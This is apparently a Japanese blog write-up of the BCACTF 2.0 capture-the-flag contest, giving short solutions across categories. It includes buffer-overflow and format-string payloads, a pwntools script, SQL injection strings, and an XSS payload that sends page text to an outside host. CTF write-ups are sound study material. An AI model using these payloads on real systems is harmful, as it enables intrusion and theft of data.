0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

BCACTF 2.0

Last updated at Posted at 2021-06-14

2021 6/10~6/13
学生向け。最初の方はとても簡単

writeupというか自分の参加したメモみたいな感じ

解けた奴

misc

Example Problem

メッセージにフラグが書いてある.

Obligatory Discord Problem

Discordに入るともらえた

Survey

GoogleFormに回答するともらえた

I Can Haz Interwebz?

指定されたアドレスにncで接続するとフラグが出てくる

binex

BCA Mart

接続すると,所持金と買うものが表示される。最初は15$.フラグは100$.
その他2$の商品などがある。
買う個数に、2147483647と入れると、オーバーフローしてお金が増えるので100$までにしてから買うとフラグ

Honors ABCs

    int grade = 0;
    char response[50];
~ 省略~
    gets(response);

gradeが100超の時にフラグ
getsで54文字適当になんか書き込めばgradeを書き換えられるのでフラグ

AP ABCs

    int score = 1;
    char response[50];
~ 省略~
    gets(response);

ソースを読むとscore=0x73434241でフラグが手に入る
Honors ABCsと同じで適当に54文字書き込めばフラグ

text = "B"*50 + '\x41\x42\x43\x73'

American Literature

int main() {
    int length;
    char essay[50];

    setbuf(stdout, NULL);
    setbuf(stdin, NULL);
    setbuf(stderr, NULL);
    FILE *fp = fopen("flag.txt", "r");
    char example_essay[100];
    fgets(example_essay, sizeof(example_essay), fp);

    fgets(essay, sizeof(essay), stdin);
    essay[strcspn(essay, "\n")] = 0;
    length = strlen(essay);
~省略~
    printf(essay);
}

入力した文字をそのままprintfされる
string format attack
%x%x%x%x%x%x%x ...
ってってやったら20引数目からフラグだったので
%20$llx.%21$llx.%22$llx ...
と入力して取得あとは文字コードを変換してフラグ

Math Analysis

void cheat() {
    FILE *fp = fopen("flag.txt", "r");
    char flag[100];

    fgets(flag, sizeof(flag), fp);
    puts(flag);
}

int main() {
    char response[50];

    setbuf(stdout, NULL);
    setbuf(stdin, NULL);
    setbuf(stderr, NULL);
    printf("For example, here's a number: %d.\n", cheat);

    printf("> ");
    gets(response);

    ~省略~
}

ご丁寧にcheatのアドレスが表示されているので,退避アドレスをそれに書き換えればいい
gdbで退避アドレスの位置を調べて,

line = "A"*54+'\x00'*8+'\x16\x12\x40\x00'

でフラグ

Advanced Math Analysis


void cheat() {
    FILE *fp = fopen("flag.txt", "r");
    char flag[100];

    fgets(flag, sizeof(flag), fp);
    puts(flag);
}

int main() {
    char response[50];

    setbuf(stdout, NULL);
    setbuf(stdin, NULL);
    setbuf(stderr, NULL);

    gets(response);

    if (strcmp(response, "i pledge to not cheat")) {
        exit(1);
    }

}

入力文字が"i pledge to not cheat"じゃないと終了してしまうが
strcmpはヌル文字までの判定なのでヌル文字入れた後にアドレス書き換えコードをかく

from pwn import *

p = process('./analysis.ts')

line = "i pledge to not cheat\x00"
line += "A"*(64-22)
line += "A"*8
line += '\x16\x12\x40\x00'
p.sendline(line)

crypto

Easy RSA

pとqとeが与えられるので
https://www.dcode.fr/rsa-cipher
にいれるだけ

􃗁􌲔􇺟􊸉􁫞􄺷􄧻􃄏􊸉

テキストファイルが配布されるが,中身は謎文字で読めない。数字は表示されている.
一番最後のところに□□□□□□{□□□□□□□□□□}みたいなやつがあったので,そこからbcactf{...}になるように置換した。
そうすると,urlが出てきたのでhttps://を置換して,あとはt□eみたいなtheと分かる所などから置換する。そうするとフラグ

暗号全然とけません……

foren

Infinite Zip

flag.zipが配布される.flag.zipの中を展開すると999.zip,その中に998.zip……となっている
ひとまず展開するとflag.pngが出現するが,この画像を開いて書いてあるflagはダミー
stringsコマンドを使うとなんかフラグが出てきた(うろ覚え)

Gerald's New Job

gerald.pdfが配布される。画像が1枚はってある。
pdfにbinwalk使うと,いくつかファイルがあり,その中にflag.zipというのがあるので,その中のflag.pngが開けた。

More than Meets the Eye

テキストファイルが渡されるが中身は一見空.
binary editorで開くと,2種類の表示できない文字で構成されているので
適当に1と0に変換
8こづつ並べて,2進数変換すると文字コードになってるのでそれがフラグ

Secure Zip

zipが配布される。パスワードが分からない。
パスワード解析ツールに突っ込む。自分が使ったやつは1時間ぐらいでパスワードが分かったので,その中にフラグがある

rev

Digitally Encrypted 1

Digitalというソフトで動くファイルが配布される。
読み込んでみるとデジタル回路が入っていた。それに配布されている暗号化文字列を突っ込むとフラグ

Storytime: The Opening Gambit

ELFファイルが配布
stringsコマンドでフラグが出てくる

A Fun Game

.net実行ファイルが配布される
ILSpyで逆アセンブルすると,"flag".reverse()となっているので取り出してリバースしたらフラグ

webex

Countdown Timer

タイマーを入力する欄とタイマーが表示される
タイマーは1=1日となっており,100以上しか入力できない.
javascriptを読むとタイマー=0でフラグが表示される

100と入力してsubmit,
その後デバッグツールからコンソールを開き,
time=0
でフラグ

Home Automation

家のライトを外部から操作できる?
Login as guestで操作画面に入ると,Lights:Onと表示されているのでクリック

You must be admin to turn off the lights. Currently you are "vampire".

と出て操作できない
cookieを見ると,user=vampireとなっているので,そこをadminに書き換えてフラグ

Movie-Login-1

ログイン画面
ユーザーに
admin' OR 1=1;--
と打ったらフラグ

Wasm Protected Site 1

パスワード入力画面が出てきて,それが外部wasmに引数として渡されて,正解するとフラグが出てくる.
wasmをチェック.ブラウザのデバッグツールを見ると,フラグ文字列が書いてあった.
それがフラグ

Agent Gerald

ブラウザエージェントがgerald以外だとはじかれる。geraldにしてアクセスするとフラグ

Movie-Login-2

1とほぼ同じだが0,1がサニタイズされて使えない。
admin' OR true;--
と打ったらフラグ

Movie-Login-3

2と同じだが,1,0,true,and,is,null,=……などがサニタイズされて使えない
admin' OR 2;--
と打ったらフラグ

Regular Website

入力欄があり,そこに入力すると,管理者がその入力したやつをhtmlとして読み込んでくれる.
ただし

const sanitized = text.replace(/<[\s\S]*>/g, "XSS DETECTED!!!!!!");

とサニタイズされている

<img src="a.png" onerror="location.href='http://www.example.com/?a=' + document.querySelectorAll('.p')[2].innerText;"

としてブラウザの自動タグ補完機能を使ってサニタイズを回避.example.comは自分のurlにしてください

フラグが送られてくるのでそれがフラグ

Wasm Protected Site 2

Wasm Protected Site 1と同じだが,パスワードではなくフラグの入力欄しかない。
同様にwasmを逆アセンブル

(module
  (memory $memory0 1)
  (export "memory" (memory $memory0))
  (export "checkFlag" (func $checkFlag))
  (func $cmp (;0;) (param $v0 (;0;) i32) (param $v1 (;1;) i32) (result i32)
    (local $v2 (;2;) i32)
    loop $label0
      local.get $v2
      local.get $v0
      i32.add
      i32.load8_u
      local.get $v2
      local.get $v1
      i32.add
      i32.load8_u
      local.get $v2
      i32.const 9
      i32.mul
      i32.const 127
      i32.and
      i32.xor
      i32.ne
      local.get $v2
      i32.const 27
      i32.ne
      i32.and
      if
        i32.const 0
        return
      end
      local.get $v2
      i32.const 1
      i32.add
      local.tee $v2
      i32.const 1
      i32.sub
      local.get $v0
      i32.add
      i32.load8_u
      i32.eqz
      if
        i32.const 1
        return
      end
      br $label0
    end $label0
    i32.const 0
    return
  )
  (func $checkFlag (;1;) (param $a (;0;) i32) (result i32)
    local.get $a
    i32.const 1000
    call $cmp
    return
  )
  (data (i32.const 1000) "bjsxPKMH|\227N\1bD\043b]PR\19e%\7f/;\17")
)

WASMは読みやすいので,復元してみるとなんかよくわからんxorをしている
それをpythonにする.

code = 'bjsxPKMH|\\227N\\1bD\\043b]PR\\19e%\\7f/;\\17'

r=[]
i = 0
j = 0
while True:
	cc = ord(code[i:i+1])
	if(code[i:i+1] == '\\'):
		cc = int(code[i+1:i+3], 16)
	ee = cc^((j*9)%128)
	dd = chr( ee)
	r.append(dd)
	if(code[i:i+1] == '\\'):
		i+=3
	else:
		i+=1
	j += 1
	if(i==len(code)):
		break

print(''.join(r))

wasmのstringの特殊文字の\00にハマった。きをつける

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?